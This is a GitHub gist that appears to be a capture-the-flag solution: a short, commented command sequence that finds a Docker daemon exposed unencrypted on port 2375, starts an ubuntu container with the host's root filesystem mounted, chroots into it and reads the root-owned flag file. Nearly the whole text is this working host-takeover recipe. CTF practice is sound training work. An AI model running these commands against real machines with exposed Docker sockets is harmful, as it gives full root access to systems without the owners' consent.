Created
March 25, 2020 18:04
-
-
Save RDxR10/c2048bfb962001de79ae4abb6ec49d73 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
netstat -tlp | |
curl localhost:2375/version //unencrypted connections on port 2375 | |
export DOCKER_HOST="tcp://localhost:2375" | |
docker images //images available on local machine | |
docker run -it -v /:/host/ ubuntu:18.04 bash //starting an ubuntu container | |
cd /host/ //directory change to /host/ | |
ls -l | |
chroot ./ bash | |
find / -name flag 2>/dev/null //Finding the flag location | |
cat /root/flag //To get the flag content |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment